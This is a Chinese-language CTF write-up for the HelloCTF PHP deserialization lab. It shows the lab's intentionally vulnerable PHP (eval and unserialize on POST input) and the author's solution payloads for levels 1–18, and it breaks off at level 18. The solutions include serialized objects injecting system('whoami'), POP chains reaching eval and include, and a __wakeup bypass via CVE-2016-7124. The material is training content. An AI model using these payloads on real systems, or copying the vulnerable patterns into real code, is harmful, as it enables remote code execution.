# Level-1 : 类的实例化 这一关考的是类的实例化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php 

/*
--- HelloCTF - 反序列化靶场 关卡 1 : 类的实例化 ---

HINT:尝实例化下面的FLAG类吧!

# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

*/


class FLAG{
public $flag_string = "HelloCTF{????}";

function __construct(){
echo $this->flag_string;
}
}

$code = $_POST['code'];

eval($code);

直接 POST code=$a=new FLAG();就行了

Level-2 : 对象中值的传递

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php

/*
--- HelloCTF - 反序列化靶场 关卡 2 : 类值的传递 ---

HINT:尝试将flag传递出来~

# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

*/

error_reporting(0);

$flag_string = "HelloCTF{????}";

class FLAG{
public $free_flag = "???";

function get_free_flag(){
echo $this->free_flag;
}
}
$target = new FLAG();

$code = $_POST['code'];

if(isset($code)){
eval($code);
$target->get_free_flag();
}
else{
highlight_file('source');
}
//Now Flag is ???

进行赋值操作,我们需要把 $free_flag 里的东西用 $flag_string 进行赋值,这样才能, $target->get_free_flag() ,即输出 flag。

赋值操作即:POST code=$target->free_flag=$flag_string;

Level-3 : 对象中值的权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<?php

/*
--- HelloCTF - 反序列化靶场 关卡 3 : 对象中值的权限 ---

HINT:尝试将flag传递出来~

# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

*/

class FLAG{
public $public_flag = "HelloCTF{?";
protected $protected_flag = "?";
private $private_flag = "?}";

function get_protected_flag(){
return $this->protected_flag;
}

function get_private_flag(){
return $this->private_flag;
}
}

class SubFLAG extends FLAG{
function show_protected_flag(){
return $this->protected_flag;
}

function show_private_flag(){
return $this->private_flag;
}
}

$target = new FLAG();
$sub_target = new SubFLAG();


$code = $_POST['code'];

if(isset($code)){
eval($code);
} else {
highlight_file(__FILE__);
echo "Trying to get FLAG...<br>";
echo "Public Flag: ".$target->public_flag."<br>";
echo "Protected Flag:".$target->protected_flag ."<br>";
echo "Private Flag:".$target->private_flag ."<br>";
}

?>
/*
Trying to get FLAG...
Public Flag: HelloCTF{se3_me_
Protected Flag: Error: Cannot access protected property FLAG:: in ?
Private Flag: Error: Cannot access private property FLAG:: in ?
...Wait,where is the flag?
*/

public(公有): 公有的类成员可以在任何地方被访问。protected(受保护): 受保护的类成员则可以被其自身以及其子类和父类访问。(可继承)。private(私有): 私有的类成员则只能被其定义所在的类访问。(不可继承)

所以我们需要直接调用 FLAG 里的获取类的成员的函数即 get_protected_flag()、get_private_flag()就行了,playload 如下:

1
code=echo $target->public_flag.$target->get_protected_flag().$target->get_private_flag();

Level-4 : 序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

/*
--- HelloCTF - 反序列化靶场 关卡 4 : 序列化 ---

HINT:嗯!?全是私有,怎么获取flag呢?试试序列化!

# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

*/

class FLAG3{
private $flag3_object_array = array("?","?");
}

class FLAG{
private $flag1_string = "?";
private $flag2_number = '?';
private $flag3_object;

function __construct() {
$this->flag3_object = new FLAG3();
}
}

$flag_is_here = new FLAG();


$code = $_POST['code'];

if(isset($code)){
eval($code);
} else {
highlight_file(__FILE__);
}

序列化一下就行了,可以直接将私有化的东西输出

Level-5 : 序列化规则

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php

/*
--- HelloCTF - 反序列化靶场 关卡 5 : 序列化规则 ---

HINT:各有千秋~

# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

*/

class a_class{
public $a_value = "HelloCTF";
}
$a_object = new a_class();
$a_array = array(a=>"Hello",b=>"CTF");
$a_string = "HelloCTF";
$a_number = 678470;
$a_boolean = true;
$a_null = null;

/*
See How to serialize:
a_object: O:7:"a_class":1:{s:7:"a_value";s:8:"HelloCTF";}
a_array: a:2:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";}
a_string: s:8:"HelloCTF";
a_number: i:678470;
a_boolean: b:1;
a_null: N;
Now your turn!
*/
<?php

$your_object = unserialize($_POST['o']);
$your_array = unserialize($_POST['a']);
$your_string = unserialize($_POST['s']);
$your_number = unserialize($_POST['i']);
$your_boolean = unserialize($_POST['b']);
$your_NULL = unserialize($_POST['n']);

if(
$your_boolean &&
$your_NULL == null &&
$your_string == "IWANT" &&
$your_number == 1 &&
$your_object->a_value == "FLAG" &&
$your_array['a'] == "Plz" && $your_array['b'] == "Give_M3"
){
echo $flag;
}
else{
echo "You really know how to serialize?";
}

//You really know how to serialize?

就是简单介绍了序列化与反序列化的样子,exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class a_class{
public $a_value = "FLAG";
}

$your_boolean = true;
$your_NULL = null;
$your_string = "IWANT";
$your_number = 1;
$your_array = array('a' => "Plz", 'b' => "Give_M3");

$exp = "o=".serialize(new a_class())."&s=".serialize($your_string)."&a=".serialize($your_array)."&i=".serialize($your_number)."&b=".serialize($your_boolean)."&n=".serialize($your_NULL);

echo $exp;

//输出:o=O:7:"a_class":1:{s:7:"a_value";s:4:"FLAG";}&s=s:5:"IWANT";&a=a:2:{s:1:"a";s:3:"Plz";s:1:"b";s:7:"Give_M3";}&i=i:1;&b=b:1;&n=N;

Level-6 : 序列化规则_权限修饰

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php

/*
--- HelloCTF - 反序列化靶场 关卡 6 : 序列化规则_权限修饰 ---

HINT:各有千秋~特别注意的权限修饰符x

# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

*/

class protectedKEY{
protected $protected_key;

function get_key(){
return $this->protected_key;
}
}

class privateKEY{
private $private_key;

function get_key(){
return $this->private_key;
}

}
/*
See Carfully~
protected's serialize: O%3A12%3A%22protectedKEY%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00protected_key%22%3BN%3B%7D
private's serialize: O%3A10%3A%22privateKEY%22%3A1%3A%7Bs%3A23%3A%22%00privateKEY%00private_key%22%3BN%3B%7D
*/

<?php

$protected_key = unserialize($_POST['protected_key']);
$private_key = unserialize($_POST['private_key']);

if(isset($protected_key)&&isset($private_key)){
if($protected_key->get_key() == "protected_key" && $private_key->get_key() == "private_key"){
echo $flag;
} else {
echo "We Call it %00_Contr0l_Characters_NULL!";
}
} else {
highlight_file(__FILE__);
}

题目给了好几个%00

1
2
3
See Carfully~
protected's serialize: O%3A12%3A%22protectedKEY%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00protected_key%22%3BN%3B%7D
private's serialize: O%3A10%3A%22privateKEY%22%3A1%3A%7Bs%3A23%3A%22%00privateKEY%00private_key%22%3BN%3B%7D

exp 就是直接在类中进行赋值就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class protectedKEY{
protected $protected_key = "protected_key";

function get_key(){
return $this->protected_key;
}
}

class privateKEY{
private $private_key = "private_key";

function get_key(){
return $this->private_key;
}
}
echo serialize(new privateKEY())."\n".serialize(new protectedKEY());

我们发现 exp 的运行结果中有几个不可见字符,这就是 %00,题目也说了“ We Call it %00_Contr0l_Characters_NULL! ”,%00 代表了这个不可见字符 NULL。 复制的时候并不会把这个不可见字符加进去,直接就是把 %00 去掉了,需要注意手动加上去!

playload:

1
2
private_key=O:10:"privateKEY":1:{s:23:"%00privateKEY%00private_key";s:11:"private_key";}
&protected_key=O:12:"protectedKEY":1:{s:16:"%00*%00protected_key";s:13:"protected_key";}

Level-7 : 实例化和反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php

/*
--- HelloCTF - 反序列化靶场 关卡 7 : 实例化和反序列化 ---

HINT:可控的输入 简单的漏洞演示 / FLAG in flag.php

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

*/

class FLAG{
public $flag_command = "echo 'Hello CTF!<br>';";

function backdoor(){
eval($this->flag_command);
}
}

$unserialize_string = 'O:4:"FLAG":1:{s:12:"flag_command";s:24:"echo 'Hello World!<br>';";}';

$Instantiate_object = new FLAG(); // 实例化的对象

$Unserialize_object = unserialize($unserialize_string); // 反序列化的对象

$Instantiate_object->backdoor();

$Unserialize_object->backdoor();

/*
'$Instantiate_object->backdoor()' will output:Hello CTF!
'$Unserialize_object->backdoor()' will output:Hello World!
*/

<?php /* Now Your Turn */
unserialize($_POST['o'])->backdoor();

从给出的实例来看,本来类的代码是想要输出”Hello CTF!“,但是序列化的代码时想要输出“ Hello World!“。通过实验可以发现实例化的对象调用 backdoor() 函数时输出的是”Hello CTF!“,序列化的代码在经过反序列化后再调用 backdoor() 函数时确输出了“ Hello World!“这个不应该输出的字符串。题目中的 $unserialize_string 是固定的,如果是 user 可控的输入就可以进行 rce 了,这是非常可怕的。

1
2
3
4
5
6
<?php
class FLAG{
public $flag_command = "system('whoami');";
}

echo serialize(new FLAG());

读取 flag

Level-8 : 构造函数和析构函数以及GC机制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
<?php

/*
--- HelloCTF - 反序列化靶场 关卡 8 : 构造函数和析构函数 ---

HINT:注意顺序和次数

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

*/

global $destruct_flag;
global $construct_flag;
$destruct_flag = 0;
$construct_flag = 0;

class FLAG {
public $class_name;
public function __construct($class_name)
{
$this->class_name = $class_name;
global $construct_flag;
$construct_flag++;
echo "Constructor called " . $construct_flag . "<br>";
}
public function __destruct()
{
global $destruct_flag;
$destruct_flag++;
echo "Destructor called " . $destruct_flag . "<br>";
}
}

/*Object created*/
$demo = new FLAG('demo');

/*Object serialized*/
$s = serialize($demo);

/*Object unserialized*/
$n = unserialize($s);

/*unserialized object destroyed*/
unset($n);

/*original object destroyed*/
unset($demo);

/*注意 此处为了方便演示为手动释放,一般情况下,当脚本运行完毕后,php会将未显式销毁的对象自动销毁,该行为也会调用析构函数*/

/*此外 还有比较特殊的情况: PHP的GC(垃圾回收机制)会在脚本运行时自动管理内存,销毁不被引用的对象:*/
new FLAG();
/*
Object created:Constructor called 1
Object serialized: But Nothing Happen(:
Object unserialized:But nothing happened either):
serialized Object destroyed:Destructor called 1
original Object destroyed:Destructor called 2

This object ('new FLAG();') will be destroyed immediately because it is not assigned to any variable:Constructor called 2
Destructor called 3
*/
//Now Your Turn!, Try to get the flag!
<?php

class RELFLAG {

public function __construct()
{
global $flag;
$flag = 0;
$flag++;
echo "Constructor called " . $flag . "<br>";
}
public function __destruct()
{
global $flag;
$flag++;
echo "Destructor called " . $flag . "<br>";
}
}

function check(){
global $flag;
if($flag > 5){
echo "HelloCTF{???}";
}else{
echo "Check Detected flag is ". $flag;
}
}

if (isset($_POST['code'])) {
eval($_POST['code']);
check();
}

serialize() 不会 调用构造或析构函数(除非类实现了 __sleep() 或 __wakeup()),unserialize() 在创建对象时 不会调用构造函数 __construct,$n 是反序列化出来的对象,现在没有其它引用了,被销毁时会立即触发析构函数 __destruct。

总的来说,构造函数只在 new 时调用(序列化、反序列化不触发),析构函数在销毁对象时总会调用(无论对象是 new 的还是 unserialize 的)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
Now Your Turn!, Try to get the flag!
<?php
class RELFLAG {
public function __construct()
{
global $flag;
$flag = 0;
$flag++;
echo "Constructor called " . $flag . "<br>";
}
public function __destruct()
{
global $flag;
$flag++;
echo "Destructor called " . $flag . "<br>";
}
}

function check(){
global $flag;
if($flag > 5){
echo "HelloCTF{???}";
}else{
echo "Check Detected flag is ". $flag;
}
}

if (isset($_POST['code'])) {
eval($_POST['code']);
check();
}

分析这个代码构造函数被调用时 $flag 强制清零再 +1,但是调用析构函数时 $flag 只是 +1 不会清零。因为序列化反序列化构造的对象时,不会调用构造函数,但是调用析构函数,所以序列化和反序列化几次就行了。

这个 playload 只有第一次 new 的时候调用一次构造函数,之后全是析构函数:

1
unserialize(serialize(unserialize(serialize(unserialize(serialize(unserialize(serialize(new RELFLAG()))))))));

1 次 new ,4 次序列化和反序列化,1 次脚本结束,正好 6 次

Level-9 : 构造函数的后门

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
/*
--- HelloCTF - 反序列化靶场 关卡 9 : 构造函数的后门 ---

HINT:似曾相识

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

*/

class FLAG {
var $flag_command = "echo 'HelloCTF';";
public function __destruct()
{
eval ($this->flag_command);
}
}

unserialize($_POST['o']);

由于反序列化之后会调用析构函数,所以直接写 exp 就行了

1
2
3
4
5
6
<?php
class FLAG{
public $flag_command = "system('whoami');";
}

echo serialize(new FLAG());

这就 rce 了

Level10 : weakup!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

/*
--- HelloCTF - 反序列化靶场 关卡 10 : weakup! ---

unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。
除开构造和析构函数,这应该是你第一个真正意义上开始接触的魔术方法,此后每一个魔术方法对应的题目我都会在这里介绍。
当然你也可以直接查阅PHP官网文档 - 魔术方法部分:https://www.php.net/manual/zh/language.oop5.magic.php

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

*/

error_reporting(0);

class FLAG{
function __wakeup() {
include 'flag.php';
echo $flag;
}
}

if(isset($_POST['o']))
{
unserialize($_POST['o']);
}else {
highlight_file(__FILE__);
}
?>

unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。

所以这道题的解题思路是直接就是序列化 Flag 这个类,之后进行反序列化触发 __wakeup 魔术方法就行了。

exp:

1
2
3
4
5
6
7
<?php

class FLAG{}

echo serialize(new Flag);

?>

Level11 : Bypass weakup!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php

/*
--- HelloCTF - 反序列化靶场 关卡 11 : Bypass weakup! ---

CVE-2016-7124 - PHP5 < 5.6.25 / PHP7 < 7.0.10
在该漏洞中,当序列化字符串中对象属性的值大于真实属性值时便会跳过__wakeup的执行。

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

*/

error_reporting(0);

include 'flag.php';

class FLAG {
public $flag = "FAKEFLAG";

public function __wakeup(){
global $flag;
$flag = NULL;
}
public function __destruct(){
global $flag;
if ($flag !== NULL) {
echo $flag;
}else
{
echo "sorry,flag is gone!";
}
}
}

if(isset($_POST['o']))
{
unserialize($_POST['o']);
}else {
highlight_file(__FILE__);
phpinfo();
}

?>

前提: CVE-2016-7124 - PHP5 < 5.6.25 / PHP7 < 7.0.10

在该漏洞中,当序列化字符串中对象属性的值大于真实属性值时便会跳过__wakeup的执行。

exp:

1
2
3
4
5
6
7
8
9
10
<?php

class FLAG {
public $flag = "REALFLAG";
}

echo serialize(new FLAG());

?>
//输出:O:4:"FLAG":1:{s:4:"flag";s:8:"REALFLAG";}

之后把 O:4:”FLAG”:1:{s:4:”flag”;s:8:”REALFLAG”;} 中的“ 1 ”改成比 1 大的数就行了

Level12 : sleep!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<?php

/*
--- HelloCTF - 反序列化靶场 关卡 12 : sleep! ---

年轻就是好啊,倒头就睡。

serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。
该方法必须返回一个数组: return array('属性1', '属性2', '属性3') / return ['属性1', '属性2', '属性3']。
数组中的属性名将决定哪些变量将被序列化,当属性被 static 修饰时,无论有无都无法序列化该属性。
如果需要返回父类中的私有属性,需要使用序列化中的特殊格式 - %00父类名称%00变量名 (%00 是 ASCII 值为 0 的空字符 null,在代码内我们也可以通过 "\0" - 注意在双引号中,PHP 才会解析转义字符和变量。)。
例如,父类 FLAG 的私有属性 private $f; 应该在子类的 __sleep() 方法中以 "\0FLAG\0f" 的格式返回。
如果该方法未返回任何内容,序列化会被制空,并产生一个 E_NOTICE 级别的错误。

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

*/

class FLAG {

private $f;
private $l;
protected $a;
public $g;
public $x,$y,$z;

public function __sleep() {
return ['x','y','z'];
}
}

class CHALLENGE extends FLAG {

public $h,$e,$l,$I,$o,$c,$t,$f;

function chance() {
return $_GET['chance'];
}
public function __sleep() {
/* FLAG is $h + $e + $l + $I + $o + $c + $t + $f + $f + $l + $a + $g */
$array_list = ['h','e','l','I','o','c','t','f','f','l','a','g'];
$_=array_rand($array_list);$__=array_rand($array_list);
return array($array_list[$_],$array_list[$__],$this->chance());
}

}

$FLAG = new FLAG();
echo serialize($FLAG);

echo serialize(new CHALLENGE());

/*
If you serialize FLAG, you will just get x,y,z
O:4:"FLAG":3:{s:1:"x";N;s:1:"y";N;s:1:"z";N;}
------ 每次请求会随机返回两个属性,你也可以用 chance 来指定你想要的属性 ------
Now __sleep()'s return parameters is array('e','l','you shuold use it')
O:9:"CHALLENGE":3:{s:1:"e";s:4:"Th3_";s:1:"l";s:17:"__sleep_function_";s:17:"you shuold use it";N;}
*/

serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。

解题的话直接用 chance 依次输入 ‘h’,’e’,’l’,’I’,’o’,’c’,’t’,’f’,’f’,’l’,’a’,’g’ 拼接就行了。注意,想要访问父类的 \0FLAG\0f,即%00FLAG%00a 进行 get 传参

1
2
3
4
5
6
7
8
9
10
11
12
13
h:  HelloCTF{
e: Th3_
l: __sleep_function_
I: _is_
o: called_
c: before_
t: serialization_
f: t0_
f: clean_
l: up_
a: 4nd_
g: select_variab1es}
HelloCTF{Th3___sleep_function__is_called_before_serialization_t0_clean_up_4nd_select_variab1es}

Level13 : __toString()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

/*
--- HelloCTF - 反序列化靶场 关卡 13 __toString() ---

__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

*/

class FLAG {
function __toString() {
echo "I'm a string ~~~";
include 'flag.php';
return $flag;
}
}

$obj = new FLAG();

if(isset($_POST['o'])) {
eval($_POST['o']);
} else {
highlight_file(__FILE__);
}

__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。

题解就直接输出$obj 就行了即 o=echo $obj;

Level14 : __invoke()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

/*
--- HelloCTF - 反序列化靶场 关卡 14 : __invoke() ---

当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。例如 $obj()。

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

*/

class FLAG{
function __invoke($x) {
if ($x == 'get_flag') {
include 'flag.php';
echo $flag;
}
}
}

$obj = new FLAG();

if(isset($_POST['o'])) {
eval($_POST['o']);
} else {
highlight_file(__FILE__);
}

当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。例如 $obj()。

这道题记得传参,即形参传“ get_flag ”给 $x

Level15 : POP链初步

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php
/*
--- HelloCTF - 反序列化靶场 关卡 15 : POP链初步 ---

世界的本质其实就是套娃(x

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

*/

/* FLAG in flag.php */

class A {
public $a;
public function __construct($a) {
$this->a = $a;
}
}
class B {
public $b;
public function __construct($b) {
$this->b = $b;
}
}
class C {
public $c;
public function __construct($c) {
$this->c = $c;
}
}

class D {
public $d;
public function __construct($d) {
$this->d = $d;
}
public function __wakeUp() {
$this->d->action();
}
}

class destnation {
var $cmd;
public function __construct($cmd) {
$this->cmd = $cmd;
}
public function action(){
eval($this->cmd->a->b->c);
}
}

if(isset($_POST['o'])) {
unserialize($_POST['o']);
} else {
highlight_file(__FILE__);
}

exp:链子 D->destnation->A->B->C

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class A {
public $a;
}
class B {
public $b;
}
class C {
public $c = "echo file_get_contents('flag.php');";
}

class D {
public $d;
}

class destnation {
var $cmd;
}

$a = new D();
$a->d = new destnation();
$a->d->cmd = new A();
$a->d->cmd->a = new B();
$a->d->cmd->a->b = new C();
echo serialize($a);
#输出:O:1:"D":1:{s:1:"d";O:10:"destnation":1:{s:3:"cmd";O:1:"A":1:{s:1:"a";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:35:"echo file_get_contents('flag.php');";}}}}}

没有输出,源代码里找

Level16 : zePOP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php

/*
--- HelloCTF - 反序列化靶场 关卡 16 : zePOP---

__wakeUp() 方法用于反序列化时自动调用。例如 unserialize()。
__invoke() 方法用于一个对象被当成函数时应该如何回应。例如 $obj() 应该显示些什么。
__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。

试着把他们串起来吧ww

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
*/

class A {
public $a;
public function __invoke() {
include $this->a;
return $flag;
}
}

class B {
public $b;
public function __toString() {
$f = $this->b;
return $f();
}
}


class INIT {
public $name;
public function __wakeUp() {
echo $this->name.' is awake!';
}
}

if(isset($_POST['o'])) {
unserialize($_POST['o']);
} else {
highlight_file(__FILE__);
}

链子很明显了,先反序列化触发 __wakeup,__wakeup()又触发 __toString(),__toString() 又 return $f(),触发__invoke()。链子是 INIT->B->A

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

class A {
public $a = "flag.php";
}

class B {
public $b;
}

class INIT {
public $name;
}

$a = new INIT();
$a->name = new B();
$a->name->b = new A();
echo serialize($a);

Level17 : 字符串逃逸基础

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
/*
Class A is NULL: 'O:1:"A":0:{}'
Class B is a class with 3 properties: 'O:1:"B":3:{s:1:"a";s:5:"Hello";s:4:"*b";s:3:"CTF";s:4:"Bc";s:10:"FLAG{TEST}";}'
After replace B with A,we unserialize it and dump :
object(A)#1 (3) { ["a"]=> string(5) "Hello" ["b":protected]=> string(3) "CTF" ["c":"A":private]=> string(10) "FLAG{TEST}" } <?php
*/
/*
--- HelloCTF - 反序列化靶场 关卡 17 : 字符串逃逸基础 ---

序列化和反序列化的规则特性_无中生有:当成员属性的实际数量符合序列化字符串中对应属性值时,似乎不会做任何检查?

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

*/

class A {

}
echo "Class A is NULL: '".serialize(new A())."'<br>";

class B {
public $a = "Hello";
protected $b = "CTF";
private $c = "FLAG{TEST}";
}
echo "Class B is a class with 3 properties: '".serialize(new B())."'<br>";

$serliseString = serialize(new B());

$serliseString = str_replace('B', 'A', $serliseString);

echo "After replace B with A,we unserialize it and dump :<br>";
var_dump(unserialize($serliseString));

if(isset($_POST['o'])) {
$a = unserialize($_POST['o']);
if ($a instanceof A && $a->helloctfcmd == "get_flag") {
include 'flag.php';
echo $flag;
} else {
echo "what's rule?";
}
} else {
highlight_file(__FILE__);
}

题目给的示例是直接将序列化的 O:1:”B“:3:{s:1:”a”;s:5:”Hello”;s:4:”*b”;s:3:”CTF”;s:4:”Bc”;s:10:”FLAG{TEST}”;} 中的 B 改成 A,之后 var_dump 的类里面的东西直接就是 A 中的实例了。

instanceof 用于确定一个 PHP 变量是否属于某一类class的实例。

那给出的挑战的判断是:如果反序列化后的对象是A的实例,并且具有属性helloctfcmd且值为”get_flag”,则输出flag。

所以直接实例化一个含有$helloctfcmd = “get_flag”的 类A 就行了, exp:

1
2
3
4
5
6
7
8
<?php
class A {
public $helloctfcmd = "get_flag";
}

$exp = new A();A
echo urlencode(serialize($exp));
//输出:O:1:"A":1:{s:11:"helloctfcmd";s:8:"get_flag";}

Level18 : 字符串逃逸基础

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php

/*
--- HelloCTF - 反序列化靶场 关卡 18 : 字符串逃逸基础 ---

序列化和反序列化的规则特性,字符串尾部判定:进行反序列化时,当成员属性的数量,名称长度,内容长度均一致时,程序会以 ";}" 作为字符串的结尾判定。

# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com

*/

highlight_file(__FILE__);

class Demo {
public $a = "Hello";
public $b = "CTF";
public $key = 'GET_FLAG";}FAKE_FLAG';
}

class FLAG {

}

$serliseStringDemo = serialize(new Demo());

$target = $_GET['target'];
$change = $_GET['change'];

$serliseStringFLAG = str_replace($target, $change, $serliseStringDemo);

$FLAG = unserialize($serliseStringFLAG);

